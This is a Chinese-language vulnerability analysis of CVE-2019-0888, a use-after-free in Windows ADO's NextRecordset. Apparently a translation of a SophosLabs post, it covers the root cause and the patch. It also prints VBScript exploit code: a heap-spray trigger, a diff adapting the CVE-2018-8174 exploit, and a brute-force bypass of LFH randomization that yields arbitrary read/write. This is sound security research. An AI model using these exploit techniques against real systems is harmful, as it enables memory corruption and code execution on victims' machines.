CVE-2019-0888:Windows ActiveX数据对象UAF漏洞分析

 

前言

SophosLabs安全研究团队近日在Windows ActiveX数据对象(ADO)组件中发现了一个use-after-free漏洞,本文详细阐述其漏洞原理和漏洞利用过程。

SophosLabs安全研究团队近日在Windows ActiveX数据对象(ADO)组件中发现了一个安全漏洞。微软在周二发布的2019年6月版本的补丁中修复了这一漏洞。补丁发布已经过去一个月了,所以我们决定公布如下关于该漏洞的详细解释,以及如何利用该漏洞实现ASLR绕过和读/写原语。

本篇文章引用了Windows 10中32位的vbscript.dll文件(版本5.812.10240.16384)中的符号和类型信息。

 

背景

ADO是一种通过OLE数据库提供程序来访问和操控数据的API。在我们下面的示例中,OLE数据库提供程序就是Microsoft SQL server。使用多种语言的不同程序都可以使用此API。

在本文的范围内,我们将使用Internet Explorer中运行的VBScript代码中的ADO,并连接到本地运行的Microsoft SQL Server 2014 Express实例。

下面是一个基本的VBScript脚本,它通过ADO Recordset对象与本地数据库(名为SQLEXPRESS)建立连接。

On Error Resume Next
 
Set RS = CreateObject("ADOR.Recordset")
 
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
                "Provider=SQLOLEDB;" & _
                "Data Source=.\SQLEXPRESS;" & _
                "Initial Catalog=master;" & _
                "Integrated Security=SSPI;" & _
                "Trusted_Connection=True;"
 
If Err.Number <> 0 Then
        MsgBox("DB open error")
Else
        MsgBox("DB opened")
End If

利用Internet Explorer的ADO建立连接会提示如下安全警告,这就使得该漏洞不便于以不被察觉地方式利用。

 

 

漏洞

Recordset对象的NextRecordset方法不正确地处理了其RecordsAffected参数。

当一个应用程序调用该方法,并将一个Object-typed变量传入其RecordsAffected参数,该方法会将使用该对象的引用计数减1,同时保持该对象变量可引用。

当引用计数将为0时,操作系统会销毁该对象变量并释放其内存。但是,由于该对象仍可以通过变量名称引用,进一步使用则会发生Use-After-Free的状况。

关于NextRecordset功能函数,其文档中包含有以下重要信息:

  • 使用NextRecordset方法返回复合命令语句中下一条命令的结果,或是返回多个结果的存储过程。
  • NextRecordset方法在断开连接的Recordset对象中不可用。
  • 参数RecordsAffected可选。提供程序返回当前操作影响的记录数量的长度变量。

简单地说,该方法适用于连接的Recordset对象,检索并返回某种与数据库相关的数据,并将数字写回到所提供的参数。

该方法在msado15.dll库中实现,函数为:CRecordset::NextRecordset。以下是在COM接口中定义的NextRecordset方法:

 

如果该方法成功检索到数据库相关的数据,它会调用内部函数ProcessRecordsAffected,来将受影响的记录数量赋值给RecordsAffected参数。

ProcessRecordsAffected内部,该库创建一个本地变量,称为local_copy_of_RecordsAffected,将RecordsAffected参数浅拷贝到其中,然后调用VariantClear函数:

 

VariantClear有详细介绍,参考引用:

“该函数通过将vt字段设置为VTEMPTY来清除VARIANTARG” “VARIANTARG的当前内容首先释放。如果vt字段是VTDISPATCH,则释放该对象”

VBScript对象变量本质上是由C++实现的封装ActiveX对象。它们由CreateObject函数创建,例如上述代码中的RS变量。

VBScript对象在内部表示为VT_DISPATCH类型的Variant结构。因此,在这种情况下,对VariantClear的调用会将local_copy_of_RecordsAffected的类型设置为VT_EMPTY,并对其执行“释放”,这意味着它将调用其基础的C++对象的::Release方法,该方法将对象的引用计数减1(如果引用计数减到0,则销毁该对象。)

调用VariantClear后,函数如下继续进行:

 

此函数将64位整数变量RecordsAffectedNum转换为带符号的32位整数(此处称为VT_I4类型),并将该值传递给VariantChangeType,以试图将其转换为RecordsAffected_vt类型的变量,即在易受攻击的情况下的VT_DISPATCH。

不存在将VT_I4类型转换为VT_DISPATCH类型的逻辑,因此此处的VariantChangeType将始终执行失败,并且将产生早期返回路径。由于在其COM接口声明中使用out属性定义了RecordsAffected,因此ProcessRecordsAffected处理RecordsAffected的方式将对程序产生影响:

[out]属性表示作为指针的参数及其在内存中的关联数据将从被调用过程传递回调用过程。

简单而言,在NextRecordset返回后,RecordsAffected将会被传递回程序,无论其是处于原始状态还是由ProcessRecordsAffected修改过的任何状态。回顾函数在易受攻击的场景中经历的执行路径,我们可以看到它执行到return语句而不直接修改RecordsAffected。

VariantClear在RecordsAffected的副本中调用,因此它会触发副本的基础C++对象释放,并将副本的类型修改为VT_EMPTY。

由于拷贝是以浅拷贝的方式实现的,因此RecordsAffected及其副本都包含指向底层C ++对象的相同指针;其中一个变量的释放相当于第二个的释放。但是,将副本的类型修改为VT_EMPTY不会对RecordsAffected产生产生影响—其类型会保持不变。

由于RecordsAffected的类型尚未清空,它将被传递回程序并保持可引用,尽管其基础的C++对象被释放,并且可能被解除分配。

考虑到该漏洞是如何在每次调用该方法时触发,那么如何在不崩溃的情况下实现合法的调用呢?

回顾文档,它指定RecordsAffected应该是Long类型(VT_I4类型的变体)。VariantClear对VT_I4变体销毁的影响与对VT_DISPATCH变体(释放其对象)是不同的。因此,只要对该方法的调用使用符合预期类型的RecordsAffected,就不会对程序产生负面影响。

 

漏洞修复

该漏洞已于周二在微软的2019年6月版补丁中修复,并被分配漏洞编号CVE-2019-0888

函数ProcessRecordsAffected被修补,以省略局部变量local_copy_of_RecordsAffected,而不是直接在RecordsAffected上操作,正确清空其类型并防止它被传递回程序。

 

 

“笨拙”的漏洞利用

使用该漏洞来实现某种类型的开发利用原语的最简单方法就是使对象被释放,然后立即用与被释放对象相同大小的受控数据内存分配来进行堆喷射,这样一来用于保存对象的内存便存有我们自己的任意数据。

On Error Resume Next
 
Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")
 
' Open Recordset connection to database
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
                "Provider=SQLOLEDB;" & _
                "Data Source=.\SQLEXPRESS;" & _
                "Initial Catalog=master;" & _
                "Integrated Security=SSPI;" & _
                "Trusted_Connection=True;"
 
' Connection objects to be used for heap spray later
Dim array(1000)
For i = 0 To 1000
        Set array(i) = CreateObject("ADODB.Connection")
Next
 
' Data to spray in heap: allocation size will be 0x418
' (size of CRecordset in 32-bit msado15.dll)
spray = ChrW(&h4141) & ChrW(&h4141) & _
        ChrW(&h4141) & ChrW(&h4141) & _
        Space(519)
 
' Trigger bug
Set Var1 = RS.NextRecordset(freed_object)
 
' Perform heap spray
For i = 0 To 1000
        array(i).ConnectionString = spray
Next
 
' Trigger use after free
freed_object.Clone()

第4行创建了一个新的VBScript对象FieldObject,它带有一个基于C++类型的CRecordset对象,一个0x418字节大小的结构。

第27行将freed_object的底层C++对象的引用计数降低到0,并且应该导致其内部资源的重新分配。

第31行使用ADODB.Connection类的ConnectionString属性来进行堆喷射。当一个字符串被分配到ConnectionString中时,它会创建一个本地副本,分配一个与分配的字符串大小相同的内存块,并将其内容复制到其中。喷射字符串是精心制作的,以触发0x418字节的空间分配。

第35行解除引用freed_object。此时,对该变量的任何引用都会调用基础C++对象上的动态分派,这意味着它的虚拟表指针将被取消引用,并从该内存中加载函数指针。由于虚拟表指针位于C++对象的偏移0处,因此将加载该数值,并随后在喷射的前4个字节0x41414141中导致内存访问冲突异常。

为了使这个原语对实际的利用有用,我们需要依赖于程序地址空间中已知的可读、可控的内存地址—这是ASLR无法实现的一项壮举。为了在现代系统中利用这个漏洞,必须使用更好的方法来破解诸如ASLR之类的缓解措施。

 

高级开发利用

在寻找有关类似vbscript漏洞利用方法的现有研究时,我们涉及到了CVE-2018-8174。被称为“双杀”的漏洞利用,其于2018年5月左右被奇虎360安全公司在野发现。关于分析捕获的开发利用和潜在漏洞的文章已经有很多,因此,有关进一步的详细信息,我们将参考以下内容:

  1. Analysis of CVE-2018-8174 VBScript 0day,360 Qihoo
  2. Delving deep into VBScript: Analysis of CVE-2018-8174 exploitation,Kaspersky Lab
  3. Dissecting modern browser exploit: case study of CVE-2018–8174,piotrflorczyk

CVE-2018-8174是VBScript中关于处理Class_Terminate回调函数的use-after-free漏洞。从本质上讲,它允许随意释放一个vbscript对象,但保持它是可引用的,类似于ADO漏洞的特性。

捕获的漏洞利用实现了一种复杂的技术,该技术采用类型混淆攻击来将use-after-free功能转化为ASLR绕过和任意地址读写的原语。如果没有启用它的漏洞,该技术本身并没有用,并且在技术层面也不是漏洞,因此它从未被“修复”,仍然存在于代码库中。Piotr Florczyk的文章很好地诠释了这一技术细节。

鉴于两个漏洞之间的相似性,应该可以从Florczyk的文章中获取CVE-2018-8174的注释漏洞利用代码,替换针对特定漏洞的代码部分以利用ADO漏洞,并以同样的方式使其成功运行。实际上,应用这个简单的补丁可以生成有效的ADO漏洞利用。

diff --git a/analysis_base.vbs b/analysis_modified.vbs
index 6c1cd3f..fd25809 100644
--- a/analysis_base.vbs
+++ b/analysis_modified.vbs
@@ -1,3 +1,14 @@
+Dim RS(13)
+For i = 0 to UBound(RS)
+    Set RS(i) = CreateObject("ADOR.Recordset")
+    RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
+        "Provider=SQLOLEDB;" & _
+        "Data Source=.\SQLEXPRESS;" & _
+        "Initial Catalog=master;" & _
+        "Integrated Security=SSPI;" & _
+        "Trusted_Connection=True;"
+Next
+
 Dim FreedObjectArray
 Dim UafArrayA(6),UafArrayB(6)
 Dim UafCounter
@@ -101,7 +112,8 @@ Public Default Property Get Q
     Dim objectImitatingArray
     Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
     For idx=0 To 6
-        UafArrayA(idx)=0
+        On Error Resume Next
+        Set m = RS(idx).NextRecordset(resueObjectA_arr)
     Next
     Set objectImitatingArray=New FakeReuseClass
     objectImitatingArray.mem = FakeArrayString
@@ -116,7 +128,8 @@ Public Default Property Get P
     Dim objectImitatingInteger
     P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
     For idx=0 To 6
-        UafArrayB(idx)=0
+        On Error Resume Next
+        Set m = RS(7+idx).NextRecordset(resueObjectB_int)
     Next
     Set objectImitatingInteger=New FakeReuseClass
     objectImitatingInteger.mem=Empty16BString
@@ -136,19 +149,7 @@ Sub UafTrigger
     For idx=20 To 38
         Set objectArray(idx)=New ReuseClass
     Next
-    UafCounter=0    
-    For idx=0 To 6
-        ReDim FreedObjectArray(1)
-        Set FreedObjectArray(1)=New ClassTerminateA
-        Erase FreedObjectArray
-    Next
     Set resueObjectA_arr=New ReuseClass
-    UafCounter=0
-    For idx=0 To 6
-        ReDim FreedObjectArray(1)
-        Set FreedObjectArray(1)=New ClassTerminateB
-        Erase FreedObjectArray
-    Next
     Set resueObjectB_int=New ReuseClass
 End Sub

事实证明,此漏洞适用于运行Windows7的系统,但不适用于Windows8或更高版本。原始捕获的漏洞利用也是如此。漏洞利用由于“低碎片堆(LFH)分配顺序随机化”而中断,这是Windows 8中引入的堆的安全措施,它阻断了简单的use-after-free漏洞利用方案。

 

绕过低碎片堆分配顺序随机化

下面是Microsoft引入LFH分配顺序随机化后堆行为如何变化的一个示例:

 

引入分配顺序随机化改变了malloc-> free-> malloc执行的结果,从遵循LIFO(后进先出)逻辑转变为不确定性。

为什么这会打破漏洞利用呢?请考虑以下摘选的注释漏洞利用代码:

Class ReplacingClass_Array
Public Default Property Get Q
    ...
    For idx=0 To 6
        On Error Resume Next
        Set m = RS(idx).NextRecordset(reuseObjectA_arr)
    Next
    Set objectImitatingArray=New FakeReuseClass
    ...

在VBScript中,所有自定义类对象都由VBScriptClassC++类内部表示。VBScript执行自定类对象实例化语句(示例代码第8行)时调用函数VBScriptClass::Create。它使用分配的0x44字节大小来保存VBScriptClass对象。

当控制流执行到第8行时,For循环刚好完成reuseObjectA_arr的销毁,其是自定义类ReuseClass的一个实例。这将导致调用VBScriptClass析构函数,释放先前分配的0x44字节。然后,第8行继续创建一个新对象objectImitatingArray,这是一个不同的自定义类FakeReuseClass。

成功运行类型混淆攻击的基础是,假设objectImitatingArray将被分配与刚刚释放的reuseObjectA_arr相同的堆内存资源。但是,正如前文提到的,在启用了分配顺序随机化的情况下,并不能做此假设,随机化的堆将会破坏该漏洞利用。

由于类型混淆攻击的结果,内存会损坏。发生损坏的堆分配并不是VBScriptClass本身的顶级(0x44)分配,而是一个与之绑定的、大小为0x108字节的子分配,用于存储对象的方法和变量。负责此子分配的函数是NameList::FCreateVval,其在创建VBScriptClass后不久调用(参见文章2)。

下面更加具体地说明需要满足的条件,如果在reuseObjectA_arr销毁后,一个新的VBScript对象接收到与之前reuseObjectA_arr相同的0x108字节大小的分配地址,则类型混淆攻击会成功运行。与两个对象绑定的其他分配(包括0x44字节大小的顶级分配),不一定要获得匹配的地址。

该技术的内存损坏部分的具体细节并不是很容易理解,建议阅读卡巴斯基的背景文章以更好地理解它,但这里是它的要点。

ReuseClass的方法SetProp具有以下语句:mem=Value。Value是一个对象变量,因此在完成赋值之前必须调用其Default Property Getter

vbscript引擎(vbscript.dll)调用内部函数AssignVar来执行此类赋值。这是一个简化的伪代码,用来解释它的工作原理:

AssignVar(VARIANT *destinationObject, char *destinationVariableName, VARIANT *source) {
  // here, destinationObject is a ReuseClass instance, destinationVariableName is "mem", source is <Value>
 
  // get the address of object <destinationObject>'s member variable with the name <destinationVariableName>.
  VARIANT *destinationPointer = CScriptRuntime::GetVarAdr(destinationObject, destinationVariableName);
 
  // if the given source is an object, call the object's
  // default property getter to get the actual source value
  if (source->vt == VT_IDISPATCH) {
    VARIANT *sourceValue = VAR::InvokeByDispID(source);
  }
 
  // perform the assignment
  *destinationPointer = *sourceValue;
}

函数VAR::InvokeByDispID调用源对象的默认属性getter,允许我们在AssignVar执行过程中运行任意的VBScript代码。如果我们使用该空间来触发destinationObject内存中的销毁和替换(利用该漏洞),我们就能够利用AssignVar继续执行到destinationPointer的赋值(第十四行),而不会察觉到其指向的内存可能已经被篡改。

正在写入的内存地址是CScriptRuntime::GetVarAdr的返回值,它是指向给定对象0x108分配空间某处的指针。它在分配空间中的精确偏移量取决于给定对象的类定义,特别是其方法和字段名称的长度。

通过强制公共成员变量mem使用不同的偏移量来实现ReuseClass和FakeReuseClass的定义。这样一来,我们强制最终的赋值来破坏对象的mem变量的头部,以便将其转换为基指针为null且长度为0x7fffffff的数组类型。

CVE-2018-8174的漏洞利用使用了一种一次性的方法来尝试解决类型混淆攻击,这意味着在销毁reuseObjectA_arr之后只会创建一个新的对象。正如前文所述,这只能在Windows 8之前的操作系统上稳定运行,它们缺少LFH分配顺序随机化的特性。

为了使这种漏洞利用在Windows10系统上有效,我们可以实现一种暴力的方法来尝试类型混淆攻击。我们可以批量创建新对象,而不是创建单个的新对象,这样就可以确保释放的0x108空间最终被分配到其中一个对象中。

下面是将代码转换为通过暴力实现的方法:

Set reuseObjectA_arr=New ReuseClass
...
Class ReplacingClass_Array
Public Default Property Get Q
    Dim objectImitatingArray
     
    Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
     
    For i=0 To 6
        DecrementRefcount(reuseObjectA_arr)
    Next
 
    For i=0 to UBound(UafArrayA)
        Set objectImitatingArray=New FakeReuseClass
        objectImitatingArray.mem = FakeArrayString
        For j=0 To 6
            Set UafArrayA(i,j)=objectImitatingArray
        Next
    Next
End Property
End Class

下面是上述代码的实际逻辑的可视化视图:

 

当UafArrayA数组被新的FakeReuseClass对象大量填充,并且mem=Value赋值完成后,我们就可以在数组上进行迭代,找到其mem变量已成功被损坏成为数组的对象。

For i=0 To UBound(UafArrayA)
    Err.Clear
    a = UafArrayA(i,0).mem(Empty16BString_addr)
    If Err.Number = 0 Then
        Exit For
    End If
Next
If i > UBound(UafArrayA) Then
    MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
    MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
    Set UafArrayA_obj = UafArrayA(i,0)
End If

被损坏的对象是唯一一个不会在第三行代码中引发异常的对象,一旦我们找到它,它就可以通过任何索引进行引用,允许在进程内存空间内的任意地址进行读写操作。

通过对原始漏洞利用过程的修正,它现在也可以在Windows 10系统上有效运行。

 

PoC

可以在SophosLabs GitHub repository找到PoC

(完)